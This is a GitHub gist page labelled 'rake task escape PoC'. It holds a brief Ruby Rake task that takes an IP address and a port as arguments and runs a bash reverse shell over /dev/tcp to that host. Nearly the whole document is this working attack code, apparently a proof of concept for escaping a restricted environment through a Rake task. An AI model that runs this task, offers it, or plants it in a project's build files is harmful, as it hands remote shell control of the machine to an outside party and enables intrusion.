Created
June 19, 2024 16:36
-
-
Save erichummel/ca831423ce5a7e68a4d66f764d7fcee0 to your computer and use it in GitHub Desktop.
rake task escape PoC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
namespace :escape do | |
task :connect do |_, args| | |
ip_address, port = *args | |
`bash -i >& /dev/tcp/#{ip_address}/#{port} 0>&1` | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment